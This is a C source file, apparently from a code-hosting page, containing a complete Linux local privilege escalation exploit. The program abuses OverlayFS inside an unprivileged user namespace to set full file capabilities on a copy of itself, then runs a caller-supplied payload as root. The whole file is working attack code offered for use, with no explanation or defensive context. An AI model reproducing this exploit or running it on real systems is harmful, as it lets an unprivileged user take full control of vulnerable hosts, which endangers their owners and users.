174 lines
4.4 KiB
C
174 lines
4.4 KiB
C
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <err.h>
|
|
#include <errno.h>
|
|
#include <sched.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/mount.h>
|
|
|
|
//#include <attr/xattr.h>
|
|
//#include <sys/xattr.h>
|
|
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
|
|
|
|
#define STR_LENGTH 32
|
|
#define BUF_LENGTH 4096
|
|
|
|
static void xmkdir(const char *path, mode_t mode)
|
|
{
|
|
if (mkdir(path, mode) == -1 && errno != EEXIST)
|
|
err(1, "mkdir %s", path);
|
|
}
|
|
|
|
static void xwritefile(const char *path, const char *data)
|
|
{
|
|
int fd = open(path, O_WRONLY);
|
|
if (fd == -1)
|
|
err(1, "open %s", path);
|
|
ssize_t len = (ssize_t) strlen(data);
|
|
if (write(fd, data, len) != len)
|
|
err(1, "write %s", path);
|
|
close(fd);
|
|
}
|
|
|
|
static void xcopyfile(const char *src, const char *dst, mode_t mode)
|
|
{
|
|
int fi, fo;
|
|
|
|
if ((fi = open(src, O_RDONLY)) == -1)
|
|
err(1, "open %s", src);
|
|
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
|
|
err(1, "open %s", dst);
|
|
|
|
char buf[4096];
|
|
ssize_t rd, wr;
|
|
|
|
for (;;) {
|
|
rd = read(fi, buf, sizeof(buf));
|
|
if (rd == 0) {
|
|
break;
|
|
} else if (rd == -1) {
|
|
if (errno == EINTR)
|
|
continue;
|
|
err(1, "read %s", src);
|
|
}
|
|
|
|
char *p = buf;
|
|
while (rd > 0) {
|
|
wr = write(fo, p, rd);
|
|
if (wr == -1) {
|
|
if (errno == EINTR)
|
|
continue;
|
|
err(1, "write %s", dst);
|
|
}
|
|
p += wr;
|
|
rd -= wr;
|
|
}
|
|
}
|
|
|
|
close(fi);
|
|
close(fo);
|
|
}
|
|
|
|
static int exploit(char* dir_base, char* seed)
|
|
{
|
|
char buf[4096];
|
|
char dir_work[STR_LENGTH];
|
|
char dir_lower[STR_LENGTH];
|
|
char dir_upper[STR_LENGTH];
|
|
char dir_merge[STR_LENGTH];
|
|
char bin_merge[STR_LENGTH*2];
|
|
char bin_upper[STR_LENGTH*2];
|
|
|
|
seed[0] = 'w';
|
|
snprintf(dir_work, STR_LENGTH, "%s/%s", dir_base, seed);
|
|
seed[0] = 'l';
|
|
snprintf(dir_lower, STR_LENGTH, "%s/%s", dir_base, seed);
|
|
seed[0] = 'u';
|
|
snprintf(dir_upper, STR_LENGTH, "%s/%s", dir_base, seed);
|
|
seed[0] = 'm';
|
|
snprintf(dir_merge, STR_LENGTH, "%s/%s", dir_base, seed);
|
|
seed[0] = 'M';
|
|
snprintf(bin_merge, STR_LENGTH*2, "%s/%s", dir_merge, seed);
|
|
snprintf(bin_upper, STR_LENGTH*2, "%s/%s", dir_upper, seed);
|
|
|
|
xmkdir(dir_base, 0777);
|
|
xmkdir(dir_work, 0777);
|
|
xmkdir(dir_lower, 0777);
|
|
xmkdir(dir_upper, 0777);
|
|
xmkdir(dir_merge, 0777);
|
|
|
|
uid_t uid = getuid();
|
|
gid_t gid = getgid();
|
|
|
|
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
|
|
err(1, "unshare");
|
|
|
|
xwritefile("/proc/self/setgroups", "deny");
|
|
|
|
snprintf(buf, BUF_LENGTH, "0 %d 1", uid);
|
|
xwritefile("/proc/self/uid_map", buf);
|
|
|
|
snprintf(buf, BUF_LENGTH, "0 %d 1", gid);
|
|
xwritefile("/proc/self/gid_map", buf);
|
|
|
|
snprintf(buf, BUF_LENGTH, "lowerdir=%s,upperdir=%s,workdir=%s", dir_lower, dir_upper, dir_work);
|
|
if (mount("overlay", dir_merge, "overlay", 0, buf) == -1)
|
|
err(1, "mount %s", dir_merge);
|
|
|
|
// all+ep
|
|
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
|
|
|
|
xcopyfile("/proc/self/exe", bin_merge, 0777);
|
|
if (setxattr(bin_merge, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
|
|
err(1, "setxattr %s", bin_merge);
|
|
|
|
return 0;
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
// argv[1] = payload to launch
|
|
// argv[2] = base_dir
|
|
// argv[3] = seed
|
|
if (argc != 4){
|
|
exit(1);
|
|
}
|
|
|
|
char bin_upper_filename[STR_LENGTH];
|
|
char dir_upper[STR_LENGTH];
|
|
char bin_upper[STR_LENGTH*4];
|
|
strncpy(bin_upper_filename, argv[3], STR_LENGTH);
|
|
bin_upper_filename[0] = 'M';
|
|
strncpy(dir_upper, argv[3], STR_LENGTH);
|
|
dir_upper[0] = 'u';
|
|
snprintf(bin_upper, STR_LENGTH*5, "%s/%s/%s", argv[2], dir_upper, bin_upper_filename);
|
|
|
|
if (strstr(argv[0], bin_upper_filename)) {
|
|
setuid(0);
|
|
setgid(0);
|
|
// argv[1] is still the payload
|
|
execl(argv[1], argv[1], NULL);
|
|
exit(1);
|
|
}
|
|
|
|
pid_t child = fork();
|
|
if (child == -1)
|
|
err(1, "fork");
|
|
|
|
if (child == 0) {
|
|
_exit(exploit(argv[2], argv[3]));
|
|
} else {
|
|
waitpid(child, NULL, 0);
|
|
}
|
|
|
|
execl(bin_upper, bin_upper, argv[1], argv[2], argv[3], NULL);
|
|
exit(1);
|
|
}
|
|
|